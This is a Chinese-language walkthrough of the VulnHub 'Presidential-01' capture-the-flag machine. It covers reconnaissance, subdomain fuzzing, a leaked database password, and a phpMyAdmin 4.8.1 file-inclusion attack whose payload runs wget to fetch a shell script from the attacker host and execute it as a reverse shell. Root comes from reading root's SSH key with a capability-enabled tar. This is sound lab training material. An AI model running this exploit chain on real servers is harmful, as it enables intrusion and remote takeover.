vulnhub靶机渗透-Presidential-01

2020-07-29 19,035

环境搭建

靶机下载地址https://download.vulnhub.com/presidential/Presidential.ova

靶机描述

The Presidential Elections within the USA are just around the corner (November 2020). One of the political parties is concerned thatthe other political party is going to perform electoral fraud by hacking into the registration systemand falsifying the votes.

The state of Ontario has therefore asked you (an independent penetration testerto test the security of their server in order toalleviate any electoral fraud concernsYour goal is to see if you can gain root access to the server  the state is still developing theirregistration website but has asked you to test their server security before the website and registration system are launched.

This CTF was created and has been tested with VirtualBoxIt should also be compatible with VMWare and is DHCP enabled.

RatingMedium/Hard - Enumeration is your friend

靶机下载完成后将.ova文件导入VMWare,网卡设置为NET模式

环境

kali:192.168.102.128

靶机:192.168.102.134

信息收集

主机发现

nmap -sP 192.168.102.0/24

1595149252105.png

得到目标靶机的ip地址为192.168.102.134

端口扫描

nmap -A 192.168.102.134 -p 1-65535

1595149294464.png

扫描得到目标靶机开放了80端口和2082端口,分别为http和ssh端口

先访问80端口

image.png

对网站进行指纹识别

whatweb http://192.168.102.134

1595156232273.png

发现该网站使用的语言为php

使用nikto扫描一下该网站

nikto -h http://192.168.102.134

1595156292255.png

得到了一个config.php,访问发现什么都没有

用dirsearch进行扫描


python dirsearch.py -u http://192.168.102.134 -e php

1595156444620.png

得到了一个目录和一个备份文件,/assets/目录中是一些js、css和一些图片等无法利用的文件 ,之后访问config.php.bak也是一片空白,但是查看源码的时候发现了一些可利用的信息1595156585118.png


<?php

$dbUser = "votebox";
$dbPass = "casoj3FFASPsbyoRP";
$dbHost = "localhost";
$dbname = "votebox";

?>

发现了数据库的账号和密码等信息,但是服务器没有开启数据库端口,扫描目录也未发现登陆数据库的地方。这时候不难想到一个ip可能绑定多个域名,或许可以通过查找其子域名来发现突破点。

在网站首页发现该网站域名为votenow.local

1595212803248.png

将其添加到/etc/hosts中

1595212846057.png

之后使用subrake或者wfuzz来进行子域名爆破

wfuzz -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -H "Host: FUZZ.votenow.local" --hw 854 --hc 400 votenow.local

1595213526048.png

找到votenow.local的一个子域名datasafe.votenow.local,将其添加到/etc/hosts中进行访问,发现该域名为phpmyadmin

1595213756343.png

使用config.php.bak中的账号密码成功登陆

1595213841083.png

getshell

在users表中找到了一个用户名和一串加密的密码,尝试使用john进行解密

1595215318286.png

john --wordlist=/usr/share/wordlists/rockyou.txt --format=md5crypt john.txt

解密时间很长,先尝试一下其他方法

我们具有写入权限,尝试写入一句话木马,但是找不到网站的绝对路径,所以不能利用。

查看phpmyadmin的版本为4.8.1

1595216081785.png

通过searchsploit搜索该版本漏洞发现了一个本地文件包含漏洞

1595216492498.png

1595216908344.png

可根据其给出的方法进行getshell

首先执行select '<?php phpinfo();exit;?>'

1595218380869.png

之后再包含session文件

http://datasafe.votenow.local/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/session/sess_04v0doqg66krlm6e0qqm2rt0vrl3dq7j

1595218436730.png

可以看到成功执行了php代码,使用同样的方法进行反弹shell

先在kali的网站根目录创建一个shell.sh来供靶机下载
1595219005911.png

之后执行sql语句

select '<?php system("wget 192.168.102.128/shell.sh; chmod +x shell.sh; bash shell.sh");exit;?>'

在kali中使用nc监听7777端口

之后包含session文件即可获得一个shell

1595219336651.png

这时通过john破解的密码也破解出来了,密码为Stella,尝试登录一下

1595232696898.png

显示权限拒绝
1595232772089.png

还是使用开始得到的一个shell,这个shell输入字母会自动变成双写,很不方便,使用一下命令即可

python -c 'import pty; pty.spawn("/bin/bash")'

stty raw -echo

1595233430620.png

提权

当前用户为apache,权限很低,并且不知道密码限制了权限的提升。我们可以先切换到admin用户,其密码经过爆破为Stella

1595235956318.png

尝试sudo提权


sudo -l #查看当前用户sudo⽀持的命令

1595237097950.png

不能使用sudo进行提权。。

尝试寻找一些其他有用的信息

在服务器根目录下发现了两个文件

1595237293076.png

notes.txt提示利用新命令备份和压缩敏感文件,user.txt里面是一段md5,破解未成功

常见的压缩命令为tar,看看tar的位置

whereis tar
cd /usr/bin

1595237708942.png

在浏览过程中发现了tarS命令,该命令应该就是提示中所指的新的压缩备份命令了

在linux中引入了capabilities 机制对 root 权限进行细粒度的控制,实现按需授权,从而减小系统的安全攻击面。与SUID相似,可以限制用户的权限。 查看文件系统中具有capabilities的文件

getcap -r / 2>/dev/null

1595238187896.png

1595238303788.png

可以看到tarS命令具有 cap_dac_read_search功能。它可以绕过文件读权限检查,这样我们就可以读取任何我们想要读取的文件

我们可以通过读取root用户的SSH私钥来进行免密登陆

cd /tmp
tarS -cvf key.tar /root/.ssh/id_rsa
tar -xvf key.tar
cd root/.ssh
ssh -i id_rsa root@localhost -p 2082



1595238655488.png

成功获得root权限
1595238696923.png

总结

工具和知识点:

  • nmap

  • whatweb

  • nikto

  • dirsearch

  • john

  • searchsploit

  • wfuzz爆破子域名

  • phpmyadmin4.8.1本地文件包含getshell

  • 利用capabilities 机制提权

参考文章:Linux Capabilities 简介


本文作者:000000

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/136275.html

Tags:
评论  (0)
快来写下你的想法吧!

000000

文章数:2 积分: 40

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号